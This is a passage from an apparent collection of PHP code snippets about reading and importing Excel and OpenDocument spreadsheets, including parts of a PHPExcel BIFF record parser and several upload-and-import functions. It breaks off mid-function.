collapsed\n\t\t\t\t\t\t\t\t$isCollapsed = (0x00000010 & $this->_GetInt4d($recordData, 12)) >> 4;\n\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setCollapsed($isCollapsed);\n\t\t\t\t\t\t\t\t// bit: 5; mask: 0x00000020; 1 = row is hidden\n\t\t\t\t\t\t\t\t$isHidden = (0x00000020 & $this->_GetInt4d($recordData, 12)) >> 5;\n\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setVisible(!$isHidden);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_DBCELL:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * DBCELL\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record is written once in a Row Block. It contains\n\t\t\t\t\t\t * relative offsets to calculate the stream position of the\n\t\t\t\t\t\t * first cell record for each row. The offset list in this\n\t\t\t\t\t\t * record contains as many offsets as ROW records are\n\t\t\t\t\t\t * present in the Row Block.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_MULBLANK:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * MULBLANK - Multiple BLANK\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell range of empty cells. All\n\t\t\t\t\t\t * cells are located in the same row\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t// offset: 0; size: 2; index to row\n\t\t\t\t\t\t$row = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t// offset: 2; size: 2; index to first column\n\t\t\t\t\t\t$fc = $this->_GetInt2d($recordData, 2);\n\t\t\t\t\t\t// offset: 4; size: 2 x nc; list of indexes to XF records\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\tfor ($i = 0; $i < $length / 2 - 4; $i++) {\n\t\t\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4 + 2 * $i);\n\t\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($fc + $i, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// offset: 6; size 2; index to last column (not needed)\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_LABEL:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * LABEL\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains a string. In\n\t\t\t\t\t\t * BIFF8 it is usually replaced by the LABELSST record.\n\t\t\t\t\t\t * Excel still uses this record, if it copies unformatted\n\t\t\t\t\t\t * text cells to the clipboard.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t$this->_addcell($row, $column, substr($this->_data, $spos + 8,\n\t\t\t\t\t\t\tord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8));\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, substr($this->_data, $spos + 8,\n\t\t\t\t\t\t\tord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_PROTECT:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * PROTECT - Sheet protection (BIFF2 through BIFF8)\n\t\t\t\t\t\t * if this record is omitted, then it also means no sheet protection\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2;\n\t\t\t\t\t\t\t// bit 0, mask 0x01; sheet protection\n\t\t\t\t\t\t\t$isSheetProtected = (0x01 & $this->_GetInt2d($recordData, 0)) >> 0;\n\t\t\t\t\t\t\tswitch ($isSheetProtected) {\n\t\t\t\t\t\t\t\tcase 0: break;\n\t\t\t\t\t\t\t\tcase 1: $sheet->getProtection()->setSheet(true); break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_PASSWORD:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * PASSWORD - Sheet protection (hashed) password (BIFF2 through BIFF8)\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; 16-bit hash value of password\n\t\t\t\t\t\t\t$password = strtoupper(dechex($this->_GetInt2d($recordData, 0))); // the hashed password\n\t\t\t\t\t\t\t$sheet->getProtection()->setPassword($password, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_COLINFO:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * COLINFO - Column information\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; index to first column in range\n\t\t\t\t\t\t\t$fc = $this->_GetInt2d($recordData, 0); // first column index\n\t\t\t\t\t\t\t// offset: 2; size: 2; index to last column in range\n\t\t\t\t\t\t\t$lc = $this->_GetInt2d($recordData, 2); // first column index\n\t\t\t\t\t\t\t// offset: 4; size: 2; width of the column in 1/256 of the width of the zero character\n\t\t\t\t\t\t\t$width = $this->_GetInt2d($recordData, 4);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 6; size: 2; index to XF record for default column formatting\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 8; size: 2; option flags\n\t\t\t\t\t\t\t\t// bit: 0; mask: 0x0001; 1= columns are hidden\n\t\t\t\t\t\t\t\t$isHidden = (0x0001 & $this->_GetInt2d($recordData, 8)) >> 0;\n\t\t\t\t\t\t\t\t// bit: 10-8; mask: 0x0700; outline level of the columns (0 = no outline)\n\t\t\t\t\t\t\t\t$level = (0x0700 & $this->_GetInt2d($recordData, 8)) >> 8;\n\t\t\t\t\t\t\t\t// bit: 12; mask: 0x1000; 1 = collapsed\n\t\t\t\t\t\t\t\t$isCollapsed = (0x1000 & $this->_GetInt2d($recordData, 8)) >> 12;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 10; size: 2; not used\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor ($i = $fc; $i <= $lc; $i++) {\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setWidth($width / 256);\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setVisible(!$isHidden);\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setOutlineLevel($level);\n\t\t\t\t\t\t\t\t$sheet->getColumnDimensionByColumn($i)->setCollapsed($isCollapsed);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_DEFCOLWIDTH:\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$width = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t$sheet->getDefaultColumnDimension()->setWidth($width);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_DEFAULTROWHEIGHT:\n\t\t\t\t\t\t// offset: 0; size: 2; option flags\n\t\t\t\t\t\t// offset: 2; size: 2; default height for unused rows, (twips 1/20 point)\n\t\t\t\t\t\t$height = $this->_GetInt2d($recordData, 2);\n\t\t\t\t\t\t$sheet->getDefaultRowDimension()->setRowHeight($height / 20);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_BLANK:\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$row = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t// offset: 2; size: 2; col index\n\t\t\t\t\t\t$col = $this->_GetInt2d($recordData, 2);\n\t\t\t\t\t\t// offset: 4; size: 2; XF index\n\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($col, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_SHEETPR:\n\t\t\t\t\t\t// offset: 0; size: 2\n\t\t\t\t\t\t// bit: 6; mask: 0x0040; 0 = outline buttons above outline group\n\t\t\t\t\t\t$isSummaryBelow = (0x0040 & $this->_GetInt2d($recordData, 0)) >> 6;\n\t\t\t\t\t\t$sheet->setShowSummaryBelow($isSummaryBelow);\n\t\t\t\t\t\t// bit: 7; mask: 0x0080; 0 = outline buttons left of outline group\n\t\t\t\t\t\t$isSummaryRight = (0x0080 & $this->_GetInt2d($recordData, 0)) >> 7;\n\t\t\t\t\t\t$sheet->setShowSummaryRight($isSummaryRight);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\tcase self::XLS_Type_EOF:\n\t\t\t\t\t\t$cont = false;\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t$spos += $length;\n\t\t\t}\n\t\t\tif (!isset($this->_sheets[$this->_sn]['numRows'])){\n\t\t\t\t$this->_sheets[$this->_sn]['numRows'] = $this->_sheets[$this->_sn]['maxrow'];\n\t\t\t}\n\t\t\tif (!isset($this->_sheets[$this->_sn]['numCols'])){\n\t\t\t\t$this->_sheets[$this->_sn]['numCols'] = $this->_sheets[$this->_sn]['maxcol'];\n\t\t\t}\n\t\t}\n\t\t\n\n\t\t/*\n\t\tforeach($this->_boundsheets as $index => $details) {\n\t\t\t$sheet = $excel->getSheet($index);\n\n\t\t\t// read all the columns of all the rows !\n\t\t\t$numrows = $this->_sheets[$index]['numRows'];\n\t\t\t$numcols = $this->_sheets[$index]['numCols'];\n\t\t\tfor ($row = 0; $row < $numrows; $row++) {\n\t\t\t\tfor ($col = 0; $col < $numcols; $col++) {\n\t\t\t\t\t$cellcontent = $cellinfo = null;\n\t\t\t\t\tif (isset($this->_sheets[$index]['cells'][$row][$col])===true) {\n\t\t\t\t\t\t$cellcontent = $this->_sheets[$index]['cells'][$row][$col];\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (isset($this->_sheets[$index]['cellsInfo'][$row][$col])===true) {\n\t\t\t\t\t\t$cellinfo = $this->_sheets[$index]['cellsInfo'][$row][$col];\n\t\t\t\t\t}\n\n\t\t\t\t\t$sheet->setCellValueByColumnAndRow($col, $row + 1,\n\t\t\t\t\t\t$cellcontent);\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\t*/\n\t\treturn $excel;\n\t}", "public function readExcel() {\n $config['upload_path'] = \"./uploads/\";\n $config['allowed_types'] = 'xlsx|xls';\n $config['max_size'] = '25000';\n $config['file_name'] = 'BUDGET-' . date('YmdHis');\n\n $this->load->library('upload', $config);\n\n\n if ($this->upload->do_upload(\"namafile\")) {\n $data = $this->upload->data();\n $file = './uploads/' . $data['file_name'];\n\n //load the excel library\n $this->load->library('excel/phpexcel');\n //read file from path\n $objPHPExcel = PHPExcel_IOFactory::load($file);\n //get only the Cell Collection\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n //extract to a PHP readable array format\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n //header will/should be in row 1 only. of course this can be modified to suit your need.\n if ($row == 1) {\n $header[$row][$column] = $data_value;\n } else {\n $arr_data[$row][$column] = $data_value;\n }\n }\n // BudgetCOA, Year, BranchID, BisUnitID, DivisionID, BudgetValue, CreateDate, CreateBy, BudgetOwnID, BudgetUsed, Status, Is_trash\n $data = '';\n $flag = 1;\n $date = date('Y-m-d');\n $by = $this->session->userdata('user_id');\n\n foreach ($arr_data as $key => $value) {\n if (!empty($value[\"F\"]) && $value[\"F\"] != \"-\" && $value[\"F\"] != \"\" && !empty($value[\"A\"])) {\n $this->Budget_mdl->simpan($value[\"A\"], $value[\"B\"], $value[\"D\"], $value[\"E\"], $value[\"F\"]);\n }\n }\n\n // $this->Budget_mdl->simpanData($data);\t\n } else {\n $this->session->set_flashdata('msg', $this->upload->display_errors());\n }\n echo json_encode(TRUE);\n }", "public function getWorkbook() {\n\t\treturn $this->getReference();\n\t}", "protected function pagePath()\n {\n if (! $this->timestamp) {\n throw new Exception('pagePath(): timestamp not set');\n }\n\n return $this->notebook->getPath($this->timestamp.'.csv');\n }", "private function read_spreadsheet_content() {\n if (!$this->unzip())\n return false;\n\n\n\n $content = file_get_contents($this->content_xml);\n\n\n if (Configure::read('App.encoding') == 'CP1251') {\n // debug('content::utf8->cp1251');\n $content = iconv('utf8', 'cp1251', $content);\n }\n\n /*\n * Spredsheet part\n */\n list($ods['before'], $tmp) = explode('<office:spreadsheet>', $content);\n list($ods['office:spreadsheet'], $ods['after']) = explode('</office:spreadsheet>', $tmp);\n\n /*\n * named ranges\n */\n $ods['named-expression'] = array();\n\n if (strpos($ods['office:spreadsheet'], '<table:named-expressions>') !== false) {\n list($ods['table:table'], $tmp) = explode('<table:named-expressions>', $ods['office:spreadsheet']);\n $ods['table:named-expressions'] = current(explode('</table:named-expressions>', $tmp));\n\n $expr = explode('<table:named-range ', $ods['table:named-expressions']);\n $ods['table:named-expressions_content'] = $ods['table:named-expressions'];\n array_shift($expr);\n $ods['table:named-expressions'] = array();\n\n\n $expr_id = 1;\n foreach ($expr as $r) {\n $r = '<table:named-range ' . $r;\n $expr_tag = $this->tag_attr($r);\n\n if (!empty($expr_tag['attr']['table:range-usable-as'])) {\n if ($expr_tag['attr']['table:range-usable-as'] == 'repeat-row') {\n $expr_tag['repeat-row'] = true;\n\n if (strpos($expr_tag['attr']['table:cell-range-address'], ':') === false) {\n list($sheet, $start_cell) = explode('.', $expr_tag['attr']['table:cell-range-address']);\n $expr_tag['attr']['table:cell-range-address'] .= ':.' . $start_cell;\n }\n list($sheet, $start_cell, $end_cell) = explode('.', $expr_tag['attr']['table:cell-range-address']);\n\n $expr_tag['sheet'] = end(explode('$', $sheet));\n\n\n list($_, $col, $expr_tag['start']) = explode('$', $start_cell);\n list($_, $col, $expr_tag['end']) = explode('$', $end_cell);\n $expr_tag['start'] = (int) current(explode(':', $expr_tag['start']));\n $expr_tag['end'] = (int) $expr_tag['end'];\n $expr_tag['length'] = $expr_tag['end'] - $expr_tag['start'] + 1;\n\n $ods['named-expression'][$expr_tag['attr']['table:name']] = array(\n 'sheet' => $expr_tag['sheet'],\n 'name' => $expr_tag['attr']['table:name'],\n 'start' => $expr_tag['start'],\n 'end' => $expr_tag['end'],\n 'length' => $expr_tag['length'],\n 'id' => $expr_id\n );\n $expr_id++;\n //$Лист1.$A$5:$AMJ$5\n //table:cell-range-address\n }\n }\n\n $ods['table:named-expressions'][] = $expr_tag;\n }\n // debug($expr);\n } else {\n $ods['table:table'] = $ods['office:spreadsheet'];\n }\n unset($ods['office:spreadsheet']);\n\n /*\n * find sheets\n */\n\n $tables = explode('</table:table>', $ods['table:table']);\n unset($ods['table:table']);\n array_pop($tables);\n\n foreach ($tables as $tbl_text) {\n list($table_tag, $table_content) = $this->extract_first_tag_str($tbl_text);\n $tbl_tag = $this->tag_attr($table_tag);\n $tbl_tag['content'] = $table_content;\n\n /*\n * find columns\n */\n\n $start_row_pos = strpos($tbl_tag['content'], '<table:table-row');\n\n $tbl_tag['columns'] = substr($tbl_tag['content'], 0, $start_row_pos);\n $tbl_tag['content'] = substr($tbl_tag['content'], $start_row_pos);\n\n $table_header_pos = strpos($tbl_tag['content'], '<table:table-header-rows>');\n\n if ($table_header_pos !== false) {\n list($tbl_tag['content0'], $tmp) = explode('<table:table-header-rows>', $tbl_tag['content']);\n list($tbl_tag['content1'], $tbl_tag['content2']) = explode('</table:table-header-rows>', $tmp);\n } else {\n $tbl_tag['content0'] = $tbl_tag['content'];\n $tbl_tag['content1'] = null;\n $tbl_tag['content2'] = null;\n }\n unset($tbl_tag['content']);\n\n /*\n * parse rows\n */\n $tbl_tag['rows'] = array();\n $tbl_tag['rows'] = array_merge($tbl_tag['rows'], $this->spreadsheet_rows($tbl_tag['content0'], 0));\n $tbl_tag['rows'] = array_merge($tbl_tag['rows'], $this->spreadsheet_rows($tbl_tag['content1'], 1)); // <---<table:table-header-rows> ZONE\n $tbl_tag['rows'] = array_merge($tbl_tag['rows'], $this->spreadsheet_rows($tbl_tag['content2'], 2));\n unset(\n $tbl_tag['content0'], $tbl_tag['content1'], $tbl_tag['content2']\n );\n\n $ods['office:spreadsheet']['table:table'][] = $tbl_tag;\n }\n\n\n\n //debug($tables);\n $this->ods = $ods;\n // debug($ods);\n }", "public function loadWorksheet($path) {\n\t\t$this->loadEssentials();\n\t\t$this->xls = PHPExcel_IOFactory::load($path);\n\t}", "private function filePath()\n {\n return $this->filePath;\n }", "public function getData()\n {\n \treturn file_get_contents($this->config['location']);\n }", "public function getFileLocation() {\n $file_location = false;\n if (isset($this->_file_location)) {\n $file_location = $this->_file_location;\n }\n\n return $file_location;\n }", "public function getFilepath();", "public static function getFileLocation()\n {\n $config = Yaml::parseFile(__DIR__.'/../../config.yaml');\n return (isset($config[\"log\"][\"file\"])) ? __DIR__.\"/\".$config[\"log\"][\"file\"] : __DIR__.\"/app.log\";\n }", "public function getCurrentWorksheet();", "protected function readFileName() { return $this->_filename; }", "public function __construct()\n {\n $this->filename = public_path('/products.xlsx');\n }", "public static function getIndexFile() {\n return self::$config->index_file;\n }", "function fileValidate($path){\n $validate_array = array();\n $excel = new PHPExcel;\n $path =public_path().\"/uploads/\".$path;\n $objPHPExcel = PHPExcel_IOFactory::load($path);\n \t\t$validate_array['fileSize'] = filesize($path);\n $validate_array['sheetCount'] = $objPHPExcel->getSheetCount();\n for($i=0;$i<$validate_array['sheetCount'];$i++){\n $activeSheet = $objPHPExcel->setActiveSheetIndex($i); // set active sheet\n\n $validate_array['sheetRow'][$i] = $activeSheet->getHighestRow();\n $validate_array['sheetColumn'][$i] = $activeSheet->getHighestColumn();\n $validate_array['sheetDimension'][$i] = $activeSheet->calculateWorksheetDimension();\n $validate_array['sheetTitle'][$i] = $activeSheet->getTitle();\n\n $cell_collection = $activeSheet->getCellCollection();\n $arr_data = array();\n foreach ($cell_collection as $key=>$cell) {\n $column = $activeSheet->getCell($cell)->getColumn();\n $colNumber = PHPExcel_Cell::columnIndexFromString($column);\n $row = $activeSheet->getCell($cell)->getRow();\n if($row == 6)\n break;\n $data_value = $activeSheet->getCell($cell)->getValue();\n $arr_data[$row][$colNumber] = $data_value;\n //$validate_array['sheetdata'][$i] = $arr_data;\n \t}\n $validate_array['sheetData'][$i] = $arr_data;\n }\n //echo \"<pre>\"; echo json_encode($validate_array,JSON_PRETTY_PRINT); exit;\n //echo \"<pre>\"; print_r ($validate_array); exit;\n return $validate_array;\n }", "public function excel($file) \n {\n // existe arquivo\n $exists = Storage::disk('local')->has('data/'.$file);\n // existe cache desse arquivo\n $existsCache = Cache::has($file);\n \n if (!$exists && !$existsCache) {\n exit('Arquivo não encontrado.');\n }\n\n // não existe o arquivo mas existe o cache : Duração 10 minutos\n if (!$exists) {\n $content = Cache::get($file);\n } else {\n $content = Storage::disk('local')->get('data/'.$file);\n $expiresAt = now()->addMinutes(10);\n Cache::put($file, $content, $expiresAt);\n }\n \n $retorno = $this->carregarLista($content);\n\n $excel = Exporter::make('Excel');\n $excel->load($retorno);\n return $excel->stream(str_replace('.txt', '', $file).\".xlsx\");\n }", "protected function get_file() {\n\n\t\treturn __FILE__;\n\t}", "private function reedImportFile()\n {\n $reader = IOFactory::createReader('Xlsx');\n\n $reader->setReadDataOnly(true);\n\n $spreadsheet = $reader->load($this->getFullPathToUploadFile());\n\n $sheetData = $spreadsheet->getActiveSheet()->toArray(null, true, true);\n\n $this->resultReedImportFile = $sheetData;\n }", "function import_xls($filename = ''){\n\t\trequire_once('includes/xls_report/PHPExcel.php');\n\t\t$xls_file = 'uploads/DataBkd/DocUpload/'.$filename;\n\n\t\t$objReader = new PHPExcel_Reader_Excel5();\n\t\t$objReader->setReadDataOnly(true);\n\t\t$objPHPExcel = $objReader->load($xls_file); #return $filename;\n\t\t$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,false);\n\t\t$totalrow = count($sheetData); #return $sheetData;\n\t\t\n\t\t$kd_prodi = $sheetData[0][1];\n\t\t# get active record\n\t\t$start_record = 9;\n\t\t$start_col = 2;\n\t\twhile ($start_record < $totalrow){\n\t\t\t$a = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nira\n\t\t\t$b = str_replace(\"'\",\"\\'\",$sheetData[$start_record][$start_col]); $start_col++; #nm_asesor\n\t\t\t$c = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nm_pt\n\t\t\t$d = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; \n\t\t\t$e = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t$f = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t# simpan ke database \n\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/insert_asesor';\n\t\t\t$parameter = array('api_search' => array($a, $b, $c, $d, $e, $f, $kd_prodi));\n\t\t\t$this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\n\t\t\t$start_record++;\n\t\t\t$start_col = 2;\n\t\t}\n\t\t$api_url \t= URL_API_BKD.'bkd_dosen/get_nama_prodi';\n\t\t$parameter = array('api_search' => array($kd_prodi));\n\t\t$nm = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t$data['status'] = '<div class=\"alert alert-success\"><i class=\"icon icon-ok-sign\"></i> Import Data Asesor untuk program studi '.$nm.' selesai...\n\t\t\t\t\t\t\t<br/>Lihat Daftar Asesor Prodi'.$nm.' <a href=\"'.base_url().'bkd/admbkd/asesor/prodi/'.$kd_prodi.'\">Klik disini</a></div>';\n\t\t$this->output99=$this->s00_lib_output;\n\t\t$this->output99->output_display('admbkd/form_import',$data);\n\t}", "public function readFilePath () {\n if ($this->pathExists->toBoolean () == TRUE) {\n # Return the number of read chars, and output the content;\n return new I (readfile ($this->varContainer));\n }\n }", "public function readExcelFile($file)\n {\n $isExcel = FALSE;\n $types = array('Excel5', 'Excel2007');\n \n foreach ($types as $type) {\n $reader = PHPExcel_IOFactory::createReader($type);\n if ($reader->canRead($file)) {\n $isExcel = TRUE;\n break;\n }\n }\n\n return $isExcel;\n }", "public function getCurrentFile() {}", "public function handle()\n {\n //Read the Excel Sheet\n Excel::import(new ResourcesTeachImport, 'resources-teach.xlsx','excel');\n// Excel::import(new ResourcesTeachImport, 'apple-teach-2019.xlsx','excel');\n }", "private function ReadReport($newname,$principal,$periode){\n $tmpfname = \"file-ori/\".$newname;\n $excelReader = \\PHPExcel_IOFactory::createReaderForFile($tmpfname);\n $excelObj = $excelReader->load($tmpfname);\n $worksheet = $excelObj->getSheet(0);\n $lastRow = $worksheet->getHighestRow();\n \n //proses extraksi file excel\n switch ($principal) {\n case \"BEST\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n break;\n\n case \"PII\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n break;\n\n case \"ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue())+intval($worksheet->getCell('O'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('W'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"IN\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('L'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('M'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MAP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = 